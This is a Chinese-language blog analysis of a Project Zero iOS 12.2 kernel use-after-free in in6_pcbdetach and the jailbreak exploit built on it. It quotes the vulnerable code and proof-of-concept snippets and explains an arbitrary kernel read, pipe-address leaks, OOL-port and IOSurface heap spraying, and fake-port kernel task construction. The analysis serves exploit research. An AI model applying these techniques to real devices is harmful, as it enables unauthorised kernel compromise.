本文作者: Peterpan0927 (信安之路病毒分析小组成员 & 360 涅槃团队成员)
成员招募:信安之路病毒分析小组寻找志同道合的朋友
p0 的 nedwill 在同事的帮助下:) 完成了 iOS12.2 越狱:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1806
这是一个 UAF 的洞,是通过 tfp0
的方式来拿到内核代码执行的权限了,一般的利用方式我们都还是比较熟悉了,而且 UAF 的利用方式我们通常都是通过 ROP
的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了 bazad 的帮助,通过他那个软件工程式的 exploit
就凸显了斯坦福博士的风格。不过整体都是 C++ 下的看的着实有点难受。
0x1 漏洞代码
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
这里在进行资源释放的时候没有把 inp->in6p_outputopts
指向空,但是在 socket
断连再连接的时候就会造成 UAF
了,我看了一下 ip6_freepcbopts
这个函数,他将 in6p_outputopts
中的资源逐个释放并指向空,但很可惜忽略了他的上层。
我们的 poc 如下:
DanglingOptions::DanglingOptions() : dangling_(false) {
s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (s_ < 0) {
printf("failed to create socket!\n");
}
// 保证我们释放之后还可以进行setsockopt操作
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
.npx_mask = SONPX_SETOPTSHUT};
int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
if (res != 0) {
printf("failed to enable setsockopt after disconnect!\n");
}
int minmtu = -1;
SetMinmtu(&minmtu);
FreeOptions();
}
bool DanglingOptions::FreeOptions() {
if (dangling_) {
return false;
}
dangling_ = true;
//这个时候in6p_outputopts就已经被我们释放掉了
int res = disconnectx(s_, 0, 0);
return res == 0;
}
0x2 总体思路
整个利用的总体结构如下:
整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:
1、fdofiles
我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个 array
来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:
task -> proc -> fd table -> open files array (fd_ofiles)
fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer
其中 fake port
的管道内核地址是为了构造 kernel task
, uaf pipe
是为了释放掉它的 buffer
重新填充
2、20 字节的任意地址读
首先来看看我们重用的那个对象的结构体:
其中 pktinfo
是一个 union
,包含了 128 bit
的 ipv6 地址和一个 4 字节的整型 index
:
struct in6_pktinfo {
struct in6_addr ipi6_addr; /* src/dst IPv6 address */
unsigned int ipi6_ifindex; /* send/recv interface index */
};
通过 getsockopt
中执行的对应 option
我们可以拿到这 20 字节的数据,也就是意味着每次我们通过触发 UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过 api
再读回来。
//通过控制option name来取不同的属性
bool DanglingOptions::GetIPv6Opt(int option_name, void *data, socklen_t size) {
int res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size);
if (res != 0) {
printf("GetIpv6Opt got %d\n", errno);
return false;
}
return true;
}
//buffer是我们堆喷的数据
memcpy(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint,
sizeof(uint64_t));
可能不了解总的结构体的话还是会有些模糊:
struct ip6_pktopts {
struct mbuf *ip6po_m; /* Pointer to mbuf storing the data */
int ip6po_hlim; /* Hoplimit for outgoing packets */
/* Outgoing IF/address information */
struct in6_pktinfo *ip6po_pktinfo;
/* Next-hop address information */
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
/* Destination options header (before a routing header) */
struct ip6_dest *ip6po_dest1;
/* Routing header related info. */
struct ip6po_rhinfo ip6po_rhinfo;
/* Destination options header (after a routing header) */
struct ip6_dest *ip6po_dest2;
int ip6po_tclass; /* traffic class */
//获取port的内核地址就是用了这个属性,minmtu取到高32位,prefer_tempaddr取到低32位(小端模式),通过((uint64_t)minmtu << 32) | prefer_tempaddr 操作最后算出地址
int ip6po_minmtu; /* fragment vs PMTU discovery policy */
int ip6po_prefer_tempaddr; /* whether temporary addresses are
preferred as source address */
int ip6po_flags;
};
任意地址读相当于是用我们想要读取的数据覆盖 ip6po_pktinfo
指针,所以在取的时候会对这个指针的值解引用然后读取 20 字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。
3、uaf_pipe
我们虽然构造了一个 fake port
但是苦于没有一个合法的 port name
进行操纵,所以就算我们把 kernel task
全都 dump
到了我们的 fake task
,也没办法进行任意地址读写,这里提出了一个新的 UAF pipe
,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的 buffer
给释放掉,注意这里释放的只是 buffer
,而不是 pipe
。
再通过堆喷大量的 ool ports
占据这块 buffer
,那么这个时候 buffer
中应该包含着刚刚堆喷的 port
的内核地址,最后将 uaf pipe
的首 8 个字节改写为 fake port
的地址,这就相当于我们拥有了一个可以操控 fake port
的 port name
了,最后我们接受消息,判断 port name
是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。
4、heap spray
我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的, ool ports
是为了 port name
, IOSurface
是因为用起来很舒服,比较自由 ,所以除非是为了 fake port
,我们用的都是 IOSurface
的 set_value
。
0x3 参考链接
bugs.chromium
https://bugs.chromium.org/p/project-zero/issues/detail?id=1806